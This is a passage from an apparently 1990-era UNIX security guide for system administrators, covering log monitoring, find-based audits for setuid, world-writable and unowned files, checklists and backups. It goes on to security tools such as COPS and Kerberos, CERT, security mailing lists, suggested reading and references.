error messages and informational messages to the system console, as well as to a log file.
Typically, error messages are logged in the file /usr/adm/messages along with the date, time,
name of the program sending the message, and (usually) the process id of the program. A
sample segment of the messages file is shown below.

 27

 Mar 12 14:53:37 sparkyfs login: ROOT LOGIN ttyp3 FROM setekfs.itstd.sr
 Mar 12 15:18:08 sparkyfs login: ROOT LOGIN ttyp3 FROM setekfs.itstd.sr
 Mar 12 16:50:25 sparkyfs login: ROOT LOGIN ttyp4 FROM pongfs.itstd.sri
 Mar 12 16:52:20 sparkyfs vmunix: sd2c: read failed, no retries
 Mar 13 06:01:18 sparkyfs vmunix: /: file system full
 Mar 13 08:02:03 sparkyfs login: ROOT LOGIN ttyp4 FROM triceratops.itst
 Mar 13 08:28:52 sparkyfs su: davy on /dev/ttyp3
 Mar 13 08:38:03 sparkyfs login: ROOT LOGIN ttyp4 FROM triceratops.itst
 Mar 13 10:56:54 sparkyfs automount[154]: host aaifs not responding
 Mar 13 11:30:42 sparkyfs login: REPEATED LOGIN FAILURES ON ttyp3 FROM
  intrepid.itstd.s, daemon

Of particular interest in this sample are the messages from the login and su programs.
Whenever someone logs in as ``root,'' login logs this information. Generally, logging in as
``root'' directly, rather than using the su command, should be discouraged, as it is hard to
track which person is actually using the account. Once this ability has been disabled, as
described in Section 2.2.2, detecting a security violation becomes a simple matter of searching
the messages file for lines of this type.

 Login also logs any case of someone repeatedly trying to log in to an account and fail-
ing. After three attempts, login will refuse to let the person try anymore. Searching for these
messages in the messages file can alert you to a cracker attempting to guess someone's pass-
word.

 Finally, when someone uses the su command, either to become ``root'' or someone
else, su logs the success or failure of this operation. These messages can be used to check
for users sharing their passwords, as well as for a cracker who has penetrated one account and
is trying to penetrate others.

3.2.2   The showmount Command

 The showmount command [Sun88a, 1764] can be used on an NFS file server to display
the names of all hosts that currently have something mounted from the server. With no
options, the program simply displays a list of all the hosts. With the -a and -d options, the
output is somewhat more useful. The first option, -a, causes showmount to list all the host
and directory combinations. For example,

 bronto.itstd.sri.com:/usr/share
 bronto.itstd.sri.com:/usr/local.new
 bronto.itstd.sri.com:/usr/share/lib
 bronto.itstd.sri.com:/var/spool/mail
 cascades.itstd.sri.com:/sparky/a
 clyde.itstd.sri.com:/laser_dumps
 cm1.itstd.sri.com:/sparky/a
 coco0.itstd.sri.com:/sparky/a

There will be one line of output for each directory mounted by a host. With the -d option,
showmount displays a list of all directories that are presently mounted by some host.

 28

 The output from showmount should be checked for two things. First, only machines
local to your organization should appear there. If you have set up proper netgroups as
described in Section 2.2.3, this should not be a problem. Second, only ``normal'' directories
should be mounted. If you find unusual directories being mounted, you should find out who
is mounting them and why - although it is probably innocent, it may indicate someone trying
to get around your security mechanisms.

3.3   FILE SYSTEM SECURITY

 Checking for security holes in the file system is another important part of making your
system secure. Primarily, you need to check for files that can be modified by unauthorized
users, files that can inadvertently grant users too many permissions, and files that can inadver-
tently grant access to crackers. It is also important to be able to detect unauthorized
modifications to the file system, and to recover from these modifications when they are made.

3.3.1   The find Command

 The find command [Sun88a, 183-185] is a general-purpose command for searching the
file system. Using various arguments, complex matching patterns based on a file's name,
type, mode, owner, modification time, and other characteristics, can be constructed. The
names of files that are found using these patterns can then be printed out, or given as argu-
ments to other UNIX commands. The general format of a find command is

 % find directories options

where directories is a list of directory names to search (e.g., /usr), and options contains the
options to control what is being searched for. In general, for the examples in this section, you
will always want to search from the root of the file system (/), in order to find all files match-
ing the patterns presented.

 This section describes how to use find to search for four possible security problems that
were described in Section 2.

3.3.1.1   Finding Setuid and Setgid Files

 It is important to check the system often for unauthorized setuid and setgid programs.
Because these programs grant special privileges to the user who is executing them, it is neces-
sary to ensure that insecure programs are not installed. Setuid ``root'' programs should be
closely guarded - a favorite trick of many crackers is to break into ``root'' once, and leave a
setuid program hidden somewhere that will enable them to regain super-user powers even if
the original hole is plugged.

 The command to search for setuid and setgid files is

 29

 # find / -type f -a \( -perm -4000 -o -perm -2000 \) -print

The options to this command have the following meanings:

 / The name of the directory to be searched. In this case, we want to search the entire
 file system, so we specify /. You might instead restrict the search to /usr or
 /home.

 -type f
 Only examine files whose type is ``f,'' regular file. Other options include ``d'' for
 directory, ``l'' for symbolic link, ``c'' for character-special devices, and ``b'' for
 block-special devices.

 -a This specifies ``and.'' Thus, we want to know about files whose type is ``regular
 file,'' and whose permissions bits match the other part of this expression.

 \( -perm -4000 -o -perm -2000 \)
 The parentheses in this part of the command are used for grouping. Thus, every-
 thing in this part of the command matches a single pattern, and is treated as the
 other half of the ``and'' clause described above.

 -perm -4000
 This specifies a match if the ``4000'' bit (specified as an octal number) is set
 in the file's permission modes. This is the set-user-id bit.

 -o This specifies ``or.'' Thus, we want to match if the file has the set-user-id bit
 or the set-group-id bit set.

 -perm -2000
 This specifies a match if the ``2000'' bit (specified as an octal number) is set
 in the file's permission modes. This is the set-group-id bit.

 -printThis indicates that for any file that matches the specified expression (is a regular
 file and has the setuid or setgid bits set in its permissions), print its name on the
 screen.

 After executing this command (depending on how much disk space you have, it can take
anywhere from 15 minutes to a couple of hours to complete), you will have a list of files that
have setuid or setgid bits set on them. You should then examine each of these programs, and
determine whether they should actually have these permissions. You should be especially
suspicious of programs that are not in one of the directories (or a subdirectory) shown below.

 /bin
 /etc
 /usr/bin
 /usr/ucb
 /usr/etc

 One file distributed with SunOS, /usr/etc/restore, is distributed with the setuid bit set on
it, and should not be, because of a security hole. You should be sure to remove the setuid bit
from this program by executing the command

 30

 # chmod u-s /usr/etc/restore

3.3.1.2   Finding World-Writable Files

 World-writable files, particularly system files, can be a security hole if a cracker gains
access to your system and modifies them. Additionally, world-writable directories are
dangerous, since they allow a cracker to add or delete files as he wishes. The find command
to find all world-writable files is

 # find / -perm -2 -print

In this case, we do not use the -type option to restrict the search, since we are interested in
directories and devices as well as files. The -2 specifies the world write bit (in octal).

 This list of files will be fairly long, and will include some files that should be world
writable. You should not be concerned if terminal devices in /dev are world writable. You
should also not be concerned about line printer error log files being world writable. Finally,
symbolic links may be world writable - the permissions on a symbolic link, although they
exist, have no meaning.

3.3.1.3   Finding Unowned Files

 Finding files that are owned by nonexistent users can often be a clue that a cracker has
gained access to your system. Even if this is not the case, searching for these files gives you
an opportunity to clean up files that should have been deleted at the same time the user her-
self was deleted. The command to find unowned files is

 # find / -nouser -print

The -nouser option matches files that are owned by a user id not contained in the
/etc/passwd database. A similar option, -nogroup, matches files owned by nonexistent
groups. To find all files owned by nonexistent users or groups, you would use the -o option
as follows:

 # find / -nouser -o -nogroup -print

3.3.1.4   Finding .rhosts Files

 As mentioned in Section 2.2.1.2, users should be prohibited from having .rhosts files in
their accounts. To search for this, it is only necessary to search the parts of the file system
that contain home directories (i.e., you can skip / and /usr):

 # find /home -name .rhosts -print

The -name option indicates that the complete name of any file whose name matches .rhosts

 31

should be printed on the screen.

3.3.2   Checklists

 Checklists can be a useful tool for discovering unauthorized changes made to system
directories. They aren't practical on file systems that contain users' home directories since
these change all the time. A checklist is a listing of all the files contained in a group of
directories: their sizes, owners, modification dates, and so on. Periodically, this information is
collected and compared with the information in the master checklist. Files that do not match
in all attributes can be suspected of having been changed.

 There are several utilities that implement checklists available from public software sites
(see Section 4). However, a simple utility can be constructed using only the standard UNIX
ls and diff commands.

 First, use the ls command [Sun88a, 285] to generate a master list. This is best done
immediately after installing the operating system, but can be done at any time provided you're
confident about the correctness of the files on the disk. A sample command is shown below.

 # ls -aslgR /bin /etc /usr > MasterChecklist

The file MasterChecklist now contains a complete list of all the files in these directories.
You will probably want to edit it and delete the lines for files you know will be changing
often (e.g., /etc/utmp, /usr/adm/acct). The MasterChecklist file should be stored somewhere
safe where a cracker is unlikely to find it (since he could otherwise just change the data in it):
either on a different computer system, or on magnetic tape.

 To search for changes in the file system, run the above ls command again, saving the
output in some other file, say CurrentList. Now use the diff command [Sun88a, 150] to com-
pare the two files:

 # diff MasterChecklist CurrentList

Lines that are only in the master checklist will be printed preceded by a ``<,'' and lines that
are only in the current list will be preceded by a ``>.'' If there is one line for a file, preceded
by a ``<,'' this means that the file has been deleted since the master checklist was created. If
there is one line for a file, preceded by a ``>,'' this means that the file has been created since
the master checklist was created. If there are two lines for a single file, one preceded by ``<''
and the other by ``>,'' this indicates that some attribute of the file has changed since the mas-
ter checklist was created.

 By carefully constructing the master checklist, and by remembering to update it periodi-
cally (you can replace it with a copy of CurrentList, once you're sure the differences between
the lists are harmless), you can easily monitor your system for unauthorized changes. The
software packages available from the public software distribution sites implement basically the
same scheme as the one here, but offer many more options for controlling what is examined
and reported.

 32

3.3.3   Backups

 It is impossible to overemphasize the need for a good backup strategy. File system
backups not only protect you in the even of hardware failure or accidental deletions, but they
also protect you against unauthorized file system changes made by a cracker.

 A good backup strategy will dump the entire system at level zero (a ``full'' dump) at
least once a month. Partial (or ``incremental'') dumps should be done at least twice a week,
and ideally they should be done daily. The dump command [Sun88a, 1612-1614] is recom-
mended over other programs such as tar and cpio. This is because only dump is capable of
creating a backup that can be used to restore a disk to the exact state it was in when it was
dumped. The other programs do not take into account files deleted or renamed between
dumps, and do not handle some specialized database files properly.

3.4   KNOW YOUR SYSTEM

 Aside from running large monitoring programs such as those described in the previous
sections, simple everyday UNIX commands can also be useful for spotting security violations.
By running these commands often, whenever you have a free minute (for example, while
waiting for someone to answer the phone), you will become used to seeing a specific pattern
of output. By being familiar with the processes normally running on your system, the times
different users typically log in, and so on, you can easily detect when something is out of the
ordinary.

3.4.1   The ps Command

 The ps command [Sun88a, 399-402] displays a list of the processes running on your sys-
tem. Ps has numerous options, too many to list here. Generally, however, for the purpose of
monitoring, the option string -alxww is the most useful.* On a Sun system running SunOS
4.0, you should expect to see at least the following:

 swapper, pagedaemon
 System programs that help the virtual memory system.

 /sbin/init
 The init process, which is responsible for numerous tasks, including bringing up
 login processes on terminals.

 portmap, ypbind, ypserv
 Parts of the Yellow Pages system.

 biod, nfsd, rpc.mountd, rpc.quotad, rpc.lockd
 Parts of the Network File System (NFS). If the system you are looking at is not a
\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru

 * This is true for Berkeley-based systems. On System V systems, the option string -elf should be used in-
stead.

 33

 file server, the nfsd processes probably won't exist.

 rarpd, rpc.bootparamd
 Part of the system that allows diskless clients to boot.

 Other commands you should expect to see are update (file system updater); getty (one
per terminal and one for the console); lpd (line printer daemon); inetd (Internet daemon, for
starting other network servers); sh and csh (the Bourne shell and C shell, one or more per
logged in user). In addition, if there are users logged in, you'll probably see invocations of
various compilers, text editors, and word processing programs.

3.4.2   The who and w Commands

 The who command, as mentioned previously, displays the list of users currently logged
in on the system. By running this periodically, you can learn at what times during the day
various users log in. Then, when you see someone logged in at a different time, you can
investigate and make sure that it's legitimate.

 The w command [Sun88a, 588] is somewhat of a cross between who and ps. Not only
does it show a list of who is presently logged in, but it also displays how long they have been
idle (gone without typing anything), and what command they are currently running.

3.4.3   The ls Command

 Simple as its function is, ls is actually very useful for detecting file system problems.
Periodically, you should use ls on the various system directories, checking for files that
shouldn't be there. Most of the time, these files will have just ``landed'' somewhere by
accident. However, by keeping a close watch on things, you will be able to detect a cracker
long before you might have otherwise.

 When using ls to check for oddities, be sure to use the -a option, which lists files
whose names begin with a period (.). Be particularly alert for files or directories named ``...'',
or ``..(space)'', which many crackers like to use. (Of course, remember that ``.'' and ``..'' are
supposed to be there.)

3.5   KEEP YOUR EYES OPEN

 Monitoring for security breaches is every bit as important as preventing them in the first
place. Because it's virtually impossible to make a system totally secure, there is always the
chance, no matter how small, that a cracker will be able to gain access. Only by monitoring
can this be detected and remedied.

 34

 SECTION 4
 SOFTWARE FOR IMPROVING SECURITY

 Because security is of great concern to many sites, a wealth of software has been
developed for improving the security of UNIX systems. Much of this software has been
developed at universities and other public institutions, and is available free for the asking.
This section describes how this software can be obtained, and mentions some of the more
important programs available.

4.1   OBTAINING FIXES AND NEW VERSIONS

 Several sites on the Internet maintain large repositories of public-domain and freely dis-
tributable software, and make this material available for anonymous FTP. This section
describes some of the larger repositories.

4.1.1   Sun Fixes on UUNET

 Sun Microsystems has contracted with UUNET Communications Services, Inc. to make
fixes for bugs in Sun software available via anonymous FTP. You can access these fixes by
using the ftp command [Sun88a, 195-201] to connect to the host ftp.uu.net. Then change into
the directory sun-fixes, and obtain a directory listing, as shown in the example on the follow-
ing page.

 35

% ftp ftp.uu.net
Connected to uunet.UU.NET.
220 uunet FTP server (Version 5.93 Tue Mar 20 11:01:52 EST 1990) ready.
Name (ftp.uu.net:davy): anonymous
331 Guest login ok, send ident as password.
Password: enter your mail address [email protected] here
230 Guest login ok, access restrictions apply.
ftp> cd sun-fixes
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 2258
-rw-r--r-- 1 38 22 4558 Aug 31 1989 README
-rw-r--r-- 1 38 22 484687 Dec 14 1988 ddn.tar.Z
-rw-r--r-- 1 38 22 140124 Jan 13 1989 gated.sun3.Z
-rwxr-xr-x 1 38 22 22646 Dec 14 1988 in.ftpd.sun3.Z
.....
.....
-rw-r--r-- 1 38 22 72119 Aug 31 1989 sendmail.sun3.Z
-rwxr-xr-x 1 38 22 99147 Aug 31 1989 sendmail.sun4.Z
-rw-r--r-- 1 38 22 3673 Jul 11 1989 wall.sun3.Z
-rw-r--r-- 1 38 22 4099 Jul 11 1989 wall.sun4.Z
-rwxr-xr-x 1 38 22 7955 Jan 18 1989 ypbind.sun3.Z
-rwxr-xr-x 1 38 22 9237 Jan 18 1989 ypbind.sun4.Z
226 Transfer complete.
1694 bytes received in 0.39 seconds (4.2 Kbytes/s)
ftp> quit
221 Goodbye.
%

The file README contains a brief description of what each file in this directory contains, and
what is required to install the fix.

4.1.2   Berkeley Fixes

 The University of California at Berkeley also makes fixes available via anonymous FTP;
these fixes pertain primarily to the current release of BSD UNIX (currently release 4.3). How-
ever, even if you are not running their software, these fixes are still important, since many
vendors (Sun, DEC, Sequent , etc.) base their software on the Berkeley releases.

 The Berkeley fixes are available for anonymous FTP from the host ucbarpa.berkeley.edu
in the directory 4.3/ucb-fixes. The file INDEX in this directory describes what each file con-
tains.

 Berkeley also distributes new versions of sendmail and named [Sun88a, 1758-1760,
1691-1692] from this machine. New versions of these commands are stored in the 4.3 direc-
tory, usually in the files sendmail.tar.Z and bind.tar.Z, respectively.

 36

4.1.3   Simtel-20 and UUNET

 The two largest general-purpose software repositories on the Internet are the hosts
wsmr-simtel20.army.mil and ftp.uu.net.

 wsmr-simtel20.army.mil is a TOPS-20 machine operated by the U. S. Army at White
Sands Missile Range, New Mexico. The directory pd2:<unix-c> contains a large amount of
UNIX software, primarily taken from the comp.sources newsgroups. The file 000-master-
index.txt contains a master list and description of each piece of software available in the repo-
sitory. The file 000-intro-unix-sw.txt contains information on the mailing list used to
announce new software, and describes the procedures used for transferring files from the
archive with FTP.

 ftp.uu.net is operated by UUNET Communications ServicesF.v in Falls Church, Vir-
ginia. This company sells Internet and USENET access to sites all over the country (and inter-
nationally). The software posted to the following USENET source newsgroups is stored here,
in directories of the same name:

 comp.sources.games
 comp.sources.misc
 comp.sources.sun
 comp.sources.unix
 comp.sources.x

Numerous other distributions, such as all the freely distributable Berkeley UNIX source code,
Internet Request for Comments (RFCs), and so on are also stored on this machine.

4.1.4   Vendors

 Many vendors make fixes for bugs in their software available electronically, either via
mailing lists or via anonymous FTP. You should contact your vendor to find out if they offer
this service, and if so, how to access it. Some vendors that offer these services include Sun
Microsystems (see above), Digital Equipment Corp., the University of California at Berkeley
(see above), and Apple Computer.

4.2   THE NPASSWD COMMAND

 The npasswd command, developed by Clyde Hoover at the University of Texas at Aus-
tin, is intended to be a replacement for the standard UNIX passwd command [Sun88a, 379],
as well as the Sun yppasswd command [Sun88a, 611]. npasswd makes passwords more
secure by refusing to allow users to select insecure passwords. The following capabilities are
provided by npasswd:

 \(bu Configurable minimum password length

 \(bu Configurable to force users to use mixed case or digits and punctuation

 37

 \(bu Checking for ``simple'' passwords such as a repeated letter

 \(bu Checking against the host name and other host-specific information

 \(bu Checking against the login name, first and last names, and so on

 \(bu Checking for words in various dictionaries, including the system dictionary.

 The npasswd distribution is available for anonymous FTP from emx.utexas.edu in the
directory pub/npasswd.

4.3   THE COPS PACKAGE

 COPS is a security tool for system administrators that checks for numerous common
security problems on UNIX systems, including many of the things described in this document.
COPS is a collection of shell scripts and C programs that can easily be run on almost any
UNIX variant. Among other things, it checks the following items and sends the results to the
system administrator:

 \(bu Checks /dev/kmem and other devices for world read/writability.

 \(bu Checks special/important files and directories for ``bad'' modes (world writable,
 etc.).

 \(bu Checks for easily guessed passwords.

 \(bu Checks for duplicate user ids, invalid fields in the password file, etc.

 \(bu Checks for duplicate group ids, invalid fields in the group file, etc.

 \(bu Checks all users' home directories and their .cshrc, .login, .profile, and .rhosts
 files for security problems.

 \(bu Checks all commands in the /etc/rc files [Sun88a, 1724-1725] and cron files
 [Sun88a, 1606-1607] for world writability.

 \(bu Checks for bad ``root'' paths, NFS file system exported to the world, etc.

 \(bu Includes an expert system that checks to see if a given user (usually ``root'') can be
 compromised, given that certain rules are true.

 \(bu Checks for changes in the setuid status of programs on the system.

 The COPS package is available from the comp.sources.unix archive on ftp.uu.net, and
also from the repository on wsmr-simtel20.army.mil.

4.4   SUN C2 SECURITY FEATURES

 With the release of SunOS 4.0, Sun has included security features that allow the system
to operate at a higher level of security, patterned after the C2* classification. These features
\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru

 * C2 is one of several security classifications defined by the National Computer Security Center, and is
described in [NCSC85], the ``orange book.''

 38

can be installed as one of the options when installing the system from the distribution tapes.
The security features added by this option include

 \(bu Audit trails that record all login and logout times, the execution of administrative
 commands, and the execution of privileged (setuid) operations.

 \(bu A more secure password file mechanism (``shadow password file'') that prevents
 crackers from obtaining a list of the encrypted passwords.

 \(bu DES encryption capability.

 \(bu A (more) secure NFS implementation that uses public-key encryption to authenticate
 the users of the system and the hosts on the network, to be sure they really are who
 they claim to be.

These security features are described in detail in [Sun88c].

4.5   KERBEROS

 Kerberos [Stei88] is an authentication system developed by the Athena Project at the
Massachusetts Institute of Technology. Kerberos is a third-party authentication service, which
is trusted by other network services. When a user logs in, Kerberos authenticates that user
(using a password), and provides the user with a way to prove her identity to other servers
and hosts scattered around the network.

 This authentication is then used by programs such as rlogin [Sun88a, 418-419] to allow
the user to log in to other hosts without a password (in place of the .rhosts file). The authen-
tication is also used by the mail system in order to guarantee that mail is delivered to the
correct person, as well as to guarantee that the sender is who he claims to be. NFS has also
been modified by M.I.T. to work with Kerberos, thereby making the system much more
secure.

 The overall effect of installing Kerberos and the numerous other programs that go with it
is to virtually eliminate the ability of users to ``spoof'' the system into believing they are
someone else. Unfortunately, installing Kerberos is very intrusive, requiring the modification
or replacement of numerous standard programs. For this reason, a source license is usually
necessary. There are plans to make Kerberos a part of 4.4BSD, to be released by the Univer-
sity of California at Berkeley sometime in 1990.

 39

 40

 SECTION 5
 KEEPING ABREAST OF THE BUGS

 One of the hardest things about keeping a system secure is finding out about the security
holes before a cracker does. To combat this, there are several sources of information you can
and should make use of on a regular basis.

5.1   THE COMPUTER EMERGENCY RESPONSE TEAM

 The Computer Emergency Response Team (CERT) was established in December 1988 by
the Defense Advanced Research Projects Agency to address computer security concerns of
research users of the Internet. It is operated by the Software Engineering Institute at
Carnegie-Mellon University. The CERT serves as a focal point for the reporting of security
violations, and the dissemination of security advisories to the Internet community. In addi-
tion, the team works with vendors of various systems in order to coordinate the fixes for secu-
rity problems.

 The CERT sends out security advisories to the cert-advisory mailing list whenever
appropriate. They also operate a 24-hour hotline that can be called to report security prob-
lems (e.g., someone breaking into your system), as well as to obtain current (and accurate)
information about rumored security problems.

 To join the cert-advisory mailing list, send a message to cert@cert.sei.cmu.edu and ask
to be added to the mailing list. Past advisories are available for anonymous FTP from the
host cert.sei.cmu.edu. The 24-hour hotline number is (412) 268-7090.

5.2   DDN MANAGEMENT BULLETINS

 The DDN Management Bulletin is distributed electronically by the Defense Data Net-
work (DDN) Network Information Center under contract to the Defense Communications
Agency. It is a means of communicating official policy, procedures, and other information of
concern to management personnel at DDN facilities.

 The DDN Security Bulletin is distributed electronically by the DDN SCC (Security Coor-
dination Center), also under contract to DCA, as a means of communicating information on
network and host security exposures, fixes, and concerns to security and management person-
nel at DDN facilities.

 Anyone may join the mailing lists for these two bulletins by sending a message to
nic@nic.ddn.mil and asking to be placed on the mailing lists.

 41

5.3   SECURITY-RELATED MAILING LISTS

 There are several other mailing lists operated on the Internet that pertain directly or
indirectly to various security issues. Some of the more useful ones are described below.

5.3.1   Security

 The UNIX Security mailing list exists to notify system administrators of security prob-
lems before they become common knowledge, and to provide security enhancement informa-
tion. It is a restricted-access list, open only to people who can be verified as being principal
systems people at a site. Requests to join the list must be sent by either the site contact listed
in the Network Information Center's WHOIS database, or from the ``root'' account on one of
the major site machines. You must include the destination address you want on the list, an
indication of whether you want to be on the mail reflector list or receive weekly digests, the
electronic mail address and voice telephone number of the site contact if it isn't you, and the
name, address, and telephone number of your organization. This information should be sent
to security-request@cpd.com.

5.3.2   RISKS

 The RISKS digest is a component of the ACM Committee on Computers and Public Pol-
icy, moderated by Peter G. Neumann. It is a discussion forum on risks to the public in com-
puters and related systems, and along with discussing computer security and privacy issues,
has discussed such subjects as the Stark incident, the shooting down of the Iranian airliner in
the Persian Gulf (as it relates to the computerized weapons systems), problems in air and rail-
road traffic control systems, software engineering, and so on. To join the mailing list, send a
message to risks-request@csl.sri.com. This list is also available in the USENET newsgroup
comp.risks.

5.3.3   TCP-IP

 The TCP-IP list is intended to act as a discussion forum for developers and maintainers
of implementations of the TCP/IP protocol suite. It also discusses network-related security
problems when they involve programs providing network services, such as sendmail. To join
the TCP-IP list, send a message to tcp-ip-request@nic.ddn.mil. This list is also available in
the USENET newsgroup comp.protocols.tcp-ip.

5.3.4   SUN-SPOTS, SUN-NETS, SUN-MANAGERS

 The SUN-SPOTS, SUN-NETS, and SUN-MANAGERS lists are all discussion groups for
users and administrators of systems supplied by Sun Microsystems. SUN-SPOTS is a fairly

 42

general list, discussing everything from hardware configurations to simple UNIX questions.
To subscribe, send a message to sun-spots-request@rice.edu. This list is also available in the
USENET newsgroup comp.sys.sun.

 SUN-NETS is a discussion list for items pertaining to networking on Sun systems. Much
of the discussion is related to NFS, Yellow Pages, and name servers. To subscribe, send a
message to sun-nets-request@umiacs.umd.edu.

 SUN-MANAGERS is a discussion list for Sun system administrators and covers all
aspects of Sun system administration. To subscribe, send a message to sun-managers-
request@eecs.nwu.edu.

5.3.5   VIRUS-L

 The VIRUS-L list is a forum for the discussion of computer virus experiences, protection
software, and related topics. The list is open to the public, and is implemented as a mail
reflector, not a digest. Most of the information is related to personal computers, although
some of it may be applicable to larger systems. To subscribe, send the line

 SUB VIRUS-L your full name

to the address listserv%lehiibm1.bitnet@mitvma.mit.edu.

 43

 44

 SECTION 6
 SUGGESTED READING

 This section suggests some alternate sources of information pertaining to the security and
administration of the UNIX operating system.

UNIX System Administration Handbook
Evi Nemeth, Garth Snyder, Scott Seebass
Prentice Hall, 1989, $26.95

 This is perhaps the best general-purpose book on UNIX system administration currently
 on the market. It covers Berkeley UNIX, SunOS, and System V. The 26 chapters and
 17 appendices cover numerous topics, including booting and shutting down the system,
 the file system, configuring the kernel, adding a disk, the line printer spooling system,
 Berkeley networking, sendmail, and uucp. Of particular interest are the chapters on
 running as the super-user, backups, and security.

UNIX Operating System Security
F. T. Grammp and R. H. Morris
AT&T Bell Laboratories Technical Journal
October 1984

 This is an excellent discussion of some of the more common security problems in
 UNIX and how to avoid them, written by two of Bell Labs' most prominent security
 experts.

Password Security: A Case History
Robert Morris and Ken Thompson
Communications of the ACM
November 1979

 An excellent discussion on the problem of password security, and some interesting
 information on how easy it is to crack passwords and why. This document is usually
 reprinted in most vendors' UNIX documentation.

On the Security of UNIX
Dennis M. Ritchie
May 1975

 A discussion on UNIX security from one of the original creators of the system. This
 document is usually reprinted in most vendors' UNIX documentation.

The Cuckoo's Egg
Clifford Stoll
Doubleday, 1989, $19.95

 45

 An excellent story of Stoll's experiences tracking down the German crackers who were
 breaking into his systems and selling the data they found to the KGB. Written at a
 level that nontechnical users can easily understand.

System and Network Administration
Sun Microsystems
May, 1988

 Part of the SunOS documentation, this manual covers most aspects of Sun system
 administration, including security issues. A must for anyone operating a Sun system,
 and a pretty good reference for other UNIX systems as well.

Security Problems in the TCP/IP Protocol Suite
S. M. Bellovin
ACM Computer Communications Review
April, 1989

 An interesting discussion of some of the security problems with the protocols in use on
 the Internet and elsewhere. Most of these problems are far beyond the capabilities of
 the average cracker, but it is still important to be aware of them. This article is techni-
 cal in nature, and assumes familiarity with the protocols.

A Weakness in the 4.2BSD UNIX TCP/IP Software
Robert T. Morris
AT&T Bell Labs Computer Science Technical Report 117
February, 1985

 An interesting article from the author of the Internet worm, which describes a method
 that allows remote hosts to ``spoof'' a host into believing they are trusted. Again, this
 article is technical in nature, and assumes familiarity with the protocols.

Computer Viruses and Related Threats: A Management Guide
John P. Wack and Lisa J. Carnahan
National Institute of Standards and Technology
Special Publication 500-166

 This document provides a good introduction to viruses, worms, trojan horses, and so
 on, and explains how they work and how they are used to attack computer systems.
 Written for the nontechnical user, this is a good starting point for learning about these
 security problems. This document can be ordered for $2.50 from the U. S. Govern-
 ment Printing Office, document number 003-003-02955-6.

 46

 SECTION 7
 CONCLUSIONS

 Computer security is playing an increasingly important role in our lives as more and
more operations become computerized, and as computer networks become more widespread.
In order to protect your systems from snooping and vandalism by unauthorized crackers, it is
necessary to enable the numerous security features provided by the UNIX system.

 In this document, we have covered the major areas that can be made more secure:

 \(bu Account security

 \(bu Network security

 \(bu File system security.

Additionally, we have discussed how to monitor for security violations, where to obtain
security-related software and bug fixes, and numerous mailing lists for finding out about secu-
rity problems that have been discovered.

 Many crackers are not interested in breaking into specific systems, but rather will break
into any system that is vulnerable to the attacks they know. Eliminating these well-known
holes and monitoring the system for other security problems will usually serve as adequate
defense against all but the most determined crackers. By using the procedures and sources
described in this document, you can make your system more secure.

 47

 48

 REFERENCES

[Eich89] Eichin, Mark W., and Jon A. Rochlis. With Microscope and Tweezers: An
 Analysis of the Internet Virus of November 1988. Massachusetts Institute of
 Technology. February 1989.

[Elme88] Elmer-DeWitt, Philip. `` `The Kid Put Us Out of Action.' '' Time, 132 (20):
 76, November 14, 1988.

[Gram84] Grammp, F. T., and R. H. Morris. ``UNIX Operating System Security.'' AT&T
 Bell Laboratories Technical Journal, 63 (8): 1649-1672, October 1984.

[Hind83] Hinden, R., J. Haverty, and A. Sheltzer. ``The DARPA Internet: Interconnect-
 ing Heterogeneous Computer Networks with Gateways.'' IEEE Computer
 Magazine, 16 (9): 33-48, September 1983.

[McLe87] McLellan, Vin. ``NASA Hackers: There's More to the Story.'' Digital Review,
 November 23, 1987, p. 80.

[Morr78] Morris, Robert, and Ken Thompson. ``Password Security: A Case History.''
 Communications of the ACM, 22 (11): 594-597, November 1979. Reprinted in
 UNIX System Manager's Manual, 4.3 Berkeley Software Distribution. Univer-
 sity of California, Berkeley. April 1986.

[NCSC85] National Computer Security Center. Department of Defense Trusted Computer
 System Evaluation Criteria, Department of Defense Standard DOD 5200.28-
 STD, December, 1985.

[Quar86] Quarterman, J. S., and J. C. Hoskins. ``Notable Computer Networks.'' Com-
 munications of the ACM, 29 (10): 932-971, October 1986.

[Reed84] Reeds, J. A., and P. J. Weinberger. ``File Security and the UNIX System Crypt
 Command.'' AT&T Bell Laboratories Technical Journal, 63 (8): 1673-1683,
 October 1984.

[Risk87] Forum on Risks to the Public in Computers and Related Systems. ACM Com-
 mittee on Computers and Public Policy, Peter G. Neumann, Moderator. Inter-
 net mailing list. Issue 5.73, December 13, 1987.

[Risk88] Forum on Risks to the Public in Computers and Related Systems. ACM Com-
 mittee on Computers and Public Policy, Peter G. Neumann, Moderator. Inter-
 net mailing list. Issue 7.85, December 1, 1988.

[Risk89a] Forum on Risks to the Public in Computers and Related Systems. ACM Com-
 mittee on Computers and Public Policy, Peter G. Neumann, Moderator. Inter-
 net mailing list. Issue 8.2, January 4, 1989.

[Risk89b] Forum on Risks to the Public in Computers and Related Systems. ACM Com-
 mittee on Computers and Public Policy, Peter G. Neumann, Moderator. Inter-
 net mailing list. Issue 8.9, January 17, 1989.

[Risk90] Forum on Risks to the Public in Computers and Related Systems. ACM Com-
 mittee on Computers and Public Policy, Peter G. Neumann, Moderator. Inter-
 net mailing list. Issue 9.69, February 20, 1990.

 49

[Ritc75] Ritchie, Dennis M. ``On the Security of UNIX.'' May 1975. Reprinted in
 UNIX System Manager's Manual, 4.3 Berkeley Software Distribution. Univer-
 sity of California, Berkeley. April 1986.

[Schu90] Schuman, Evan. ``Bid to Unhook Worm.'' UNIX Today!, February 5, 1990, p.
 1.

[Seel88] Seeley, Donn. A Tour of the Worm. Department of Computer Science,
 University of Utah. December 1988.

[Spaf88] Spafford, Eugene H. The Internet Worm Program: An Analysis. Technical
 Report CSD-TR-823. Department of Computer Science, Purdue University.
 November 1988.

[Stee88] Steele, Guy L. Jr., Donald R. Woods, Raphael A. Finkel, Mark R. Crispin,
 Richard M. Stallman, and Geoffrey S. Goodfellow. The Hacker's Dictionary.
 New York: Harper and Row, 1988.

[Stei88] Stein, Jennifer G., Clifford Neuman, and Jeffrey L. Schiller. ``Kerberos: An
 Authentication Service for Open Network Systems.'' USENIX Conference
 Proceedings, Dallas, Texas, Winter 1988, pp. 203-211.

[Stol88] Stoll, Clifford. ``Stalking the Wily Hacker.'' Communications of the ACM, 31
 (5): 484-497, May 1988.

